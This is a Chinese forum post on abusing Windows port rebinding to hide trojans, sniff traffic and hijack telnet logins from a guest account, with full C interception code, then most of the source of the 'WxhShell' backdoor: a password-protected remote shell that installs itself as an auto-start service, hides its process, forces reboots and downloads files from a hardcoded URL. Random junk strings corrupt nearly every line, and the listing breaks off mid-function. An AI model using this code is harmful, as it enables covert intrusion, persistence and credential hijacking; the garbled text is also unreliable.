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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _OYasJUMG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //B&k`u  
-$\y_?}  
  saddr.sin_family = AF_INET; J @`1TU  
&*o=I|pQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }ZYd4h|g\z  
3s*mbk[J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `4r 3l S  
_9ao?:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @?ebuj5{e  
]IaMp788  
  这意味着什么?意味着可以进行如下的攻击: ~"gA,e-)  
"2!&5s,1p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C-xr"]#]  
@b\$yB@z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `&qL(66  
$yP*jO4i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5; C|  
VCYwzB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  , };& tR  
Y!xF ;a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F k7?xc  
" > ypIR<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $L `d&$Vh  
P-[-pi@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u$z`   
&md`$a/  
  #include  OHN_  
  #include RIR\']WN  
  #include x%=si[P  
  #include    6dQ-HI*Y#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a9e>iU  
  int main() 2 B1q*`6R  
  { je\Ph5"  
  WORD wVersionRequested; 85= )lu  
  DWORD ret; rCEyQ)R_}  
  WSADATA wsaData; !"AvY y9  
  BOOL val; m~BAyk^jo3  
  SOCKADDR_IN saddr; F-QzrquS  
  SOCKADDR_IN scaddr; Xxj- 6i  
  int err; 8bGd} (  
  SOCKET s; %X]jaX 7  
  SOCKET sc; thh. A  
  int caddsize; Ha#= (9.  
  HANDLE mt; =}^9 wP  
  DWORD tid;   AD> e?u  
  wVersionRequested = MAKEWORD( 2, 2 ); uo:J\E  
  err = WSAStartup( wVersionRequested, &wsaData ); U)TUOwF  
  if ( err != 0 ) { 299H$$WS,Z  
  printf("error!WSAStartup failed!\n"); !vi> U|rh  
  return -1; b1q"!+8y  
  } j8i[ONq^  
  saddr.sin_family = AF_INET; >IafUy  
   te`$%NRl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |T /ZL!  
yZ7&b&2nLn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (y'hyJo  
  saddr.sin_port = htons(23); zC:ASt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b)#hSjWO#  
  { -:^U_FL8un  
  printf("error!socket failed!\n"); n)/z0n!\  
  return -1; ZmqKQO  
  } \<h0Q,e  
  val = TRUE; -/B+T>[nTb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z3e| UAif  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uh_RGM&  
  { yqs4[C  
  printf("error!setsockopt failed!\n"); C.:<-xo  
  return -1; u]wZQl#-  
  } .8g)av+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~%F9%=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8$cLG*=h4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CZe ]kXNv  
)CYGQMK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w_c"@CjkE  
  { <V'@ks%  
  ret=GetLastError(); L- iy  
  printf("error!bind failed!\n"); }v;V=%N+v  
  return -1; %QH$ipM  
  } _{O>v\u  
  listen(s,2); 3Aip}<1  
  while(1) *"2+B&Y  
  { iozt&~o  
  caddsize = sizeof(scaddr); X #dmo/L8  
  //接受连接请求 :k]1Lm||  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h^45,E C  
  if(sc!=INVALID_SOCKET) g'f@H-KCD  
  { tIi&;tw]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dbLZc$vPj  
  if(mt==NULL) Z#jZRNU%ox  
  { pQ">UL*  
  printf("Thread Creat Failed!\n"); iU918!!N   
  break; LP^$AAy  
  } z kP_6T09  
  } w(Ovr`o?9t  
  CloseHandle(mt); )}R0Y=e  
  } yN0Vr\r2  
  closesocket(s); ]! &FKy  
  WSACleanup(); }Bh8=F3O Q  
  return 0; Y Uc+0  
  }   w/<L Ag  
  DWORD WINAPI ClientThread(LPVOID lpParam) s+Pq&<nV-  
  { "^[ 'y7i  
  SOCKET ss = (SOCKET)lpParam; bP#:Oi0v`  
  SOCKET sc; NYUL:Tp  
  unsigned char buf[4096]; atH*5X6d  
  SOCKADDR_IN saddr; 7"D", 1h  
  long num; ]%SH>  
  DWORD val; (Rh,,  
  DWORD ret; hag$GX'2k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G Vr1`l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o[4}h:> dq  
  saddr.sin_family = AF_INET; N% B>M7-=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Paq4  
  saddr.sin_port = htons(23); *R,5h2;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +E+p"7  
  { s^TZXCyF o  
  printf("error!socket failed!\n"); X`/k)N>l  
  return -1; ]q[D>6_  
  } aK~8B_5k8  
  val = 100; [aLI '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;1=1:S8  
  { Po0A#Zl  
  ret = GetLastError(); 59L\|OR  
  return -1; bWS&Yk(  
  } O\tb R=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S+6.ZZ9c  
  { Y-z(zS^1  
  ret = GetLastError(); #z%fx   
  return -1; MJ)RvNF  
  } n&/ `  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1.hyCTnI  
  { hfB%`x#akQ  
  printf("error!socket connect failed!\n"); R w\gTo  
  closesocket(sc); hZ,_ 6mNg  
  closesocket(ss); G!##X: 6'  
  return -1; |-ALklXr  
  } $HzBD.CF|x  
  while(1) T763:v  
  { ue"~9JK.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gz0]}]A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1GRCV8 "Z^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JR|ck=tq  
  num = recv(ss,buf,4096,0); Y@iS_lR  
  if(num>0) |e&\<LwsP  
  send(sc,buf,num,0); w2c?.x  
  else if(num==0) 6@!`]tSCK  
  break; kZ:ZtE  
  num = recv(sc,buf,4096,0); 9FR5Jw>t  
  if(num>0) t@;p  
  send(ss,buf,num,0); Fo_sgv8O<  
  else if(num==0) H?Wya.7  
  break; !< ";cw(q  
  } J;e2&gB  
  closesocket(ss); C) s5D  
  closesocket(sc); 0+ '&`Q!u  
  return 0 ; 5tk AFb4P  
  } =qIp2c}Rx  
Zi i   
Q&;9 x?e  
========================================================== b|DdG/O  
(t|Zn@uY  
下边附上一个代码,,WXhSHELL w9imKVry  
*^4"5X@  
========================================================== n>XdU%&  
^ @5QP$.  
#include "stdafx.h" V!=,0zy~Z  
*&W"bOMH*  
#include <stdio.h> `w Vyb>T  
#include <string.h> &z3o7rif$  
#include <windows.h> J@'wf8Ub  
#include <winsock2.h> "S]TP$O D  
#include <winsvc.h> SfyQ$$Z  
#include <urlmon.h> CRE3icXbQ  
'H!Uh]!  
#pragma comment (lib, "Ws2_32.lib") BU_nh+dF  
#pragma comment (lib, "urlmon.lib") AT3Mlz~7#  
tNI^@xdim1  
#define MAX_USER   100 // 最大客户端连接数  8nJpp  
#define BUF_SOCK   200 // sock buffer cT,sh~-x,  
#define KEY_BUFF   255 // 输入 buffer 4$<JHo @.  
~ 7s!VR  
#define REBOOT     0   // 重启 q9_OGd|P  
#define SHUTDOWN   1   // 关机 " 8MF_Gu):  
Gd=RyoJl  
#define DEF_PORT   5000 // 监听端口 w@E3ZL^  
niyV8v  
#define REG_LEN     16   // 注册表键长度 tWRC$  
#define SVC_LEN     80   // NT服务名长度 >GRxHK@G  
b$jo Y*< 6  
// 从dll定义API D@.6>:;il  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0e4{{zQx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eauF ~md,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0h_|t-9j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T8g$uFo  
+0Y&`{#Z  
// wxhshell配置信息 =H8;iS2R  
struct WSCFG { 6&x@.1('z  
  int ws_port;         // 监听端口 7:1Lol-V  
  char ws_passstr[REG_LEN]; // 口令 c@7rqHU-0  
  int ws_autoins;       // 安装标记, 1=yes 0=no :I#V.  
  char ws_regname[REG_LEN]; // 注册表键名 Xv^qVn4  
  char ws_svcname[REG_LEN]; // 服务名 i/4>2y9/F4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tD)J*]G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ga+dt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ux4POO3C|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i_%_x*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L8B! u9%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K|, .C[  
w?[upn:K  
}; Gc|idjW4  
fHFE){  
// default Wxhshell configuration y6a3t G  
struct WSCFG wscfg={DEF_PORT, O0.*Pmt  
    "xuhuanlingzhe", |L ev.,,Ph  
    1, %ET+iIhK  
    "Wxhshell", g 7H(PF?  
    "Wxhshell", 1qA;/-Zr<o  
            "WxhShell Service", M= (u]%\  
    "Wrsky Windows CmdShell Service", ]/v[8dS(l  
    "Please Input Your Password: ", ygcm|PrS  
  1, MQ2}EY*A  
  "http://www.wrsky.com/wxhshell.exe", upmx $H>  
  "Wxhshell.exe" &D<yX~  
    }; y9ZvV0  
F^:3?JA _  
// 消息定义模块 75lA%| *X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z`i(qCAd(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %N._w!N<5n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6gDN`e,@  
char *msg_ws_ext="\n\rExit."; {Sh ;(.u^  
char *msg_ws_end="\n\rQuit."; W>r+h-kR  
char *msg_ws_boot="\n\rReboot..."; J&_n9$  
char *msg_ws_poff="\n\rShutdown..."; RA 6w}:sq7  
char *msg_ws_down="\n\rSave to "; 9(Xn>G'iT  
SXh-A1t  
char *msg_ws_err="\n\rErr!"; "tK=+f`NM  
char *msg_ws_ok="\n\rOK!"; PKz':_|  
!N^@4*  
char ExeFile[MAX_PATH]; m&3xJuKih  
int nUser = 0; ~} ~4  
HANDLE handles[MAX_USER]; R;LP:,)  
int OsIsNt; OyIw>Wfv  
dZuOrTplA  
SERVICE_STATUS       serviceStatus; UEL _uij  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 307I$*%W  
KI.hy2?e  
// 函数声明 vY3h3o  
int Install(void); }@)[5N# A|  
int Uninstall(void); fz_r7?  
int DownloadFile(char *sURL, SOCKET wsh); %]i15;{X  
int Boot(int flag); xE}>,O|'q  
void HideProc(void); %BODkc Zh  
int GetOsVer(void); PA*5Bk="q  
int Wxhshell(SOCKET wsl); "[N!m1i:{  
void TalkWithClient(void *cs);  bN.Pex  
int CmdShell(SOCKET sock); uxz^/Gk  
int StartFromService(void); Y]a@j !  
int StartWxhshell(LPSTR lpCmdLine); %C]>9."  
!G|@6W`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zH r_!~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z\sDUJ  
'"s@enD0y  
// 数据结构和表定义 %yC,^  
SERVICE_TABLE_ENTRY DispatchTable[] = /-s6<e!  
{ |s_GlJV.  
{wscfg.ws_svcname, NTServiceMain}, EqiY\/S  
{NULL, NULL} #dHa,HUk  
}; yhJ@(tu.Gd  
I/N *gy?*  
// 自我安装 LP=)~K<  
int Install(void) t{>q|0  
{ ;.C\Ss<>*  
  char svExeFile[MAX_PATH]; j8gdlIx  
  HKEY key; zuCSj~  
  strcpy(svExeFile,ExeFile); K sCyFp  
:!QAC@  
// 如果是win9x系统,修改注册表设为自启动 mE[y SrV  
if(!OsIsNt) { V]^$S"Tv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X8\GzNE~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); An@t?#4gxi  
  RegCloseKey(key); ssL\g`xe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xSu >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,r}6iFu  
  RegCloseKey(key); ,,r>,Xq 6  
  return 0; wIgS3K  
    } Bw.i}3UT6  
  } Ys7]B9/1O  
} 73-p*o(pt  
else { q(w(Sd)#L  
X>^fEQq"  
// 如果是NT以上系统,安装为系统服务 "N#Y gSr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Fub<UhJ  
if (schSCManager!=0) 6u%&<")4HP  
{ 4M T 7`sr  
  SC_HANDLE schService = CreateService wC*X4 '  
  ( Gw` L"  
  schSCManager, VEH>]-0K  
  wscfg.ws_svcname, gG uO  
  wscfg.ws_svcdisp, 05R@7[GWq  
  SERVICE_ALL_ACCESS, &,/ S`ke=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2<6UwF  
  SERVICE_AUTO_START, p7 ~!z.)o  
  SERVICE_ERROR_NORMAL, 1;iUWU1@  
  svExeFile, k7^5Bp8=  
  NULL, ,%y /kS]  
  NULL, xD7]C|8o  
  NULL, /{2,zW  
  NULL, kxCSs7J/  
  NULL 4ppz,L,4  
  ); JGZBL{8  
  if (schService!=0) I=#$8l.*  
  { 8EYkQ  
  CloseServiceHandle(schService); qgB_=Q#E  
  CloseServiceHandle(schSCManager); @F>D+=hS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [>9is=>o.  
  strcat(svExeFile,wscfg.ws_svcname); i~72bMwsA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =pr7G+_u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XP}<N&j  
  RegCloseKey(key); ~M$Wd2Th  
  return 0; G/W>S,(  
    } }B^tL$k  
  } >Gu M]qn  
  CloseServiceHandle(schSCManager); E`J@h l$N  
} QWU-m{@~&  
} X-/]IH DN  
3U}%2ARo_  
return 1; ;@J}}h'y  
} (At$3b6  
@+DX.9  
// 自我卸载 DfB7*+x{  
int Uninstall(void) #Q5o)x  
{ F[MFx^sT{  
  HKEY key; MfkZ  
T>>c2$ x  
if(!OsIsNt) { u:b=\T L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}P-6&k,U  
  RegDeleteValue(key,wscfg.ws_regname); #z42C?V  
  RegCloseKey(key); cb bFw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s[N@0  
  RegDeleteValue(key,wscfg.ws_regname); zeRyL3fnmb  
  RegCloseKey(key); m+9#5a-  
  return 0; ;a3}~s  
  } |a@L}m  
} 0{mex4  
} Zd&S@Z  
else { ?cZlN !  
1x^GWtRp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !m$jk2<  
if (schSCManager!=0) ,,TnIouy  
{ $ Q0n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 31)&vf[[  
  if (schService!=0) fy$1YI>!Q  
  { Kpp_|2|@<  
  if(DeleteService(schService)!=0) { t,' <gI  
  CloseServiceHandle(schService); h];I{crh  
  CloseServiceHandle(schSCManager); cCX*D_kCB  
  return 0; wY}@'pzX  
  } n!(F, b  
  CloseServiceHandle(schService); /RF7j;  
  } kVL.PY\K  
  CloseServiceHandle(schSCManager); 7z-[f'EIUI  
} z{>Rc"%\  
} GthYzd:'hJ  
+[P{&\d4}  
return 1; Zc2PepIg  
} 0YHFvy)  
Dh*n!7lD`  
// 从指定url下载文件 g&.=2uP  
int DownloadFile(char *sURL, SOCKET wsh) I@3MO0V^  
{ &{i{XcqH'  
  HRESULT hr; NVs@S-rpX  
char seps[]= "/"; |hQ;l|SWg  
char *token;  _4f;<FL  
char *file; aDCwI:Li(  
char myURL[MAX_PATH]; v>56~AJ  
char myFILE[MAX_PATH]; 1eKT^bgM  
Debv4Gr;^  
strcpy(myURL,sURL); r :dTz  
  token=strtok(myURL,seps); /<3UQLMa  
  while(token!=NULL) 1&2>LE/P  
  { fR|A(u#9  
    file=token; T;#FEzBz  
  token=strtok(NULL,seps); @WB@]-+J T  
  } tVjsRnb{  
ElXFeJ%[G  
GetCurrentDirectory(MAX_PATH,myFILE); s@C}P  
strcat(myFILE, "\\"); =Sv/IXX\di  
strcat(myFILE, file); YK\X+"lB  
  send(wsh,myFILE,strlen(myFILE),0); \Cj B1] I  
send(wsh,"...",3,0); 7 d vnupLh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `x|?&Ytmf9  
  if(hr==S_OK) p#Bi>/C6  
return 0; Z ]ONh  
else t^L]/$q  
return 1; 5X+A"X ;C  
#1[u (<AS  
} rs.)CMk53  
U6VKMxSJ  
// 系统电源模块 BuwY3F\-O  
int Boot(int flag) Xeaj xcop#  
{ 4R*,VR.K  
  HANDLE hToken; #b`k e/P  
  TOKEN_PRIVILEGES tkp; fZ. ONq  
*] (iS  
  if(OsIsNt) { 7Ix973^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~m |BC*)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nrb Ok4Dz  
    tkp.PrivilegeCount = 1; M_8{]uo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {8OCXus3m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |^aKs#va  
if(flag==REBOOT) { "oD[v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 36NpfTW  
  return 0; :%.D78&  
} HV.t6@\};  
else { z@Y;r=v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oQ#8nu{k  
  return 0; m2o0y++TjW  
} ]tD]Wx%  
  } SdWV3  
  else { =}*0-\QG  
if(flag==REBOOT) { <q SC#[xu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OY d !v`<  
  return 0;  `]X>V,  
} kFB  
else { vbNBLCwug  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]! dTG  
  return 0; PdCEUh\>y  
} 9my^ Y9B  
} q7!{?\T%  
] @'!lhLi  
return 1; Z7#+pPt!  
} 99S ^f:t  
w &(ag$p'  
// win9x进程隐藏模块 ,^:.dFH6  
void HideProc(void) . ^u,.  
{ ;I*o@x_  
T |p"0b A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]q.0!lh+WL  
  if ( hKernel != NULL ) ZEQEx]Y  
  { s>en  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H.c7Nle  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /mMV{[  
    FreeLibrary(hKernel); :svq E+2  
  } g{Rd=1SK]  
OPi0~s  
return; ,>M[@4`,U  
} U17d>]ka  
~zgGa:uU  
// 获取操作系统版本 P3%5?.S  
int GetOsVer(void) Kgv T"s.  
{ %;/P&d/  
  OSVERSIONINFO winfo; y(&Ac[foS}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j [a(#V{  
  GetVersionEx(&winfo); ZoeD:xnh[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TV:9bn?r)  
  return 1; Mhu*[a=;x  
  else XuTD\g3)  
  return 0; O8o3O 6[Y  
} p'k0#R$  
(mOtU8e  
// 客户端句柄模块 dveiQ  
int Wxhshell(SOCKET wsl) 5\v3;;A[  
{ CAe!7HiR  
  SOCKET wsh; ;`Z{7'^U  
  struct sockaddr_in client; GVz6-T~\>  
  DWORD myID; Zc yc*{DS  
?5p>BER?  
  while(nUser<MAX_USER) \!(zrfP{(  
{ *R"/|Ka  
  int nSize=sizeof(client); 5tnlrqC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i1085ztN  
  if(wsh==INVALID_SOCKET) return 1; H::bwn`Vc  
CAlCDfKW}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @d_M@\r=j  
if(handles[nUser]==0) KXrjqqXs  
  closesocket(wsh); i@q&5;%%  
else )_:NLo:  
  nUser++; 1cDF!X]  
  } ~rm_vo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /xQTxh1;K  
NRuNKl.v  
  return 0; $xqa{L%B  
} 0"R|..l/  
~~.}ah/_d  
// 关闭 socket |:o4w  
void CloseIt(SOCKET wsh) Pfhmo $  
{ [WJ+h~~ o  
closesocket(wsh); Ni>[D"|  
nUser--; Smh,zCc>s  
ExitThread(0); vI?, 47Hj+  
} 7^Uv7< pw  
SJLis"8  
// 客户端请求句柄 > !JS:5|  
void TalkWithClient(void *cs) 3%6? g*  
{ zCA2X !7F  
[Pp'Ye~K@c  
  SOCKET wsh=(SOCKET)cs; ^Pf WG*  
  char pwd[SVC_LEN]; y7{?Ip4[  
  char cmd[KEY_BUFF]; AX INThJ  
char chr[1]; ]|@^1we  
int i,j; JJnH%Q  
+_!QSU,@  
  while (nUser < MAX_USER) { \wZe] G%S  
bD^owa  
if(wscfg.ws_passstr) { 3q.q YX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RCrCs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;a/E42eN;  
  //ZeroMemory(pwd,KEY_BUFF); !Cs_F&l"j  
      i=0; f<_Cq <q"  
  while(i<SVC_LEN) { Sdo-nt  
Ef\ -VKh  
  // 设置超时 Iv *<L a  
  fd_set FdRead; \['Cj*ek  
  struct timeval TimeOut; / FII07V  
  FD_ZERO(&FdRead); :s,Z<^5a)g  
  FD_SET(wsh,&FdRead); n<,BmVQ  
  TimeOut.tv_sec=8; ,uvRi)O>a  
  TimeOut.tv_usec=0; zA 3_Lx!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kM 6 Qp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NbobliC=  
|)&%A%m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GyIV Hby  
  pwd=chr[0]; Xvv6~  
  if(chr[0]==0xd || chr[0]==0xa) { O1lNAcpeM  
  pwd=0; _!6jR5&r,  
  break; f3;5Am  
  } >?b!QU* a  
  i++; #WuBL_nZ~  
    } `uFdwO'DD  
{ax:RUQxy  
  // 如果是非法用户,关闭 socket !1k_PY5)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dv"9qk  
} ;gkM{={`p  
ZNoDFf*h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'F<TSy|4kI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a#4?cEy  
Y73C5.dNcE  
while(1) { do%&m]#;  
IPk4 ;,  
  ZeroMemory(cmd,KEY_BUFF); .H|-_~Yx|  
*|0 -~u%q  
      // 自动支持客户端 telnet标准   +z( Lr=G  
  j=0; eDMO]5}Ht  
  while(j<KEY_BUFF) { ]lbuy7xj63  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M{@(G5  
  cmd[j]=chr[0]; =(Mch~  
  if(chr[0]==0xa || chr[0]==0xd) { -~0^P,yQ  
  cmd[j]=0; f 2.HF@  
  break;  \zkg  
  } @- xjfC\d  
  j++; ^ y::jK  
    } )UR7i8]!0  
VRMXtQ*1Dm  
  // 下载文件 E.TAbD&5(  
  if(strstr(cmd,"http://")) { ,2q-D&)\Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  &HW9Jn  
  if(DownloadFile(cmd,wsh)) O?2DQY?jT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nL[MSw  
  else ![1rzQvGDb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~1~I e2  
  } Tx D#9]Q`  
  else { 2 nCA<&  
6'/ #+,d'  
    switch(cmd[0]) { D^O@'zP=At  
  6 N4~~O  
  // 帮助 \85i+q:LuA  
  case '?': { gJXaPJA{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +rd+0 `}C  
    break; V&5wRz+`W  
  } \~W'v3:W  
  // 安装 8=l%5r^cq  
  case 'i': { cr3^6HB  
    if(Install())  @5FQX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bw7@5=?;  
    else t# i #(H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b;n[mk  
    break; az$FnVNn=  
    } v+XJ*N[W  
  // 卸载 %v|B *  
  case 'r': { }tz7b#  
    if(Uninstall()) [WmM6UEVS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ueudRb  
    else G[=c Ss,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l **X^+=$  
    break; t_^4`dW`  
    } UNYqft4  
  // 显示 wxhshell 所在路径 L,\Iasv  
  case 'p': { s AkdMo  
    char svExeFile[MAX_PATH]; ^!d3=}:0  
    strcpy(svExeFile,"\n\r"); /wp6KXm  
      strcat(svExeFile,ExeFile); >7|VR:U?B  
        send(wsh,svExeFile,strlen(svExeFile),0); m`XHKRp  
    break; ;u JMG  
    } 9w"*y#_  
  // 重启 A^g(k5M*  
  case 'b': { ~$'awY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZVBXx\{s  
    if(Boot(REBOOT)) s;e\ pt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !0+JbZ<%r|  
    else { =bOW~0Z1  
    closesocket(wsh); -RwE%  cr  
    ExitThread(0); sRs>"zAg  
    } 4s- !7  
    break; sC'` ~}C  
    } ~ljXzD93Z  
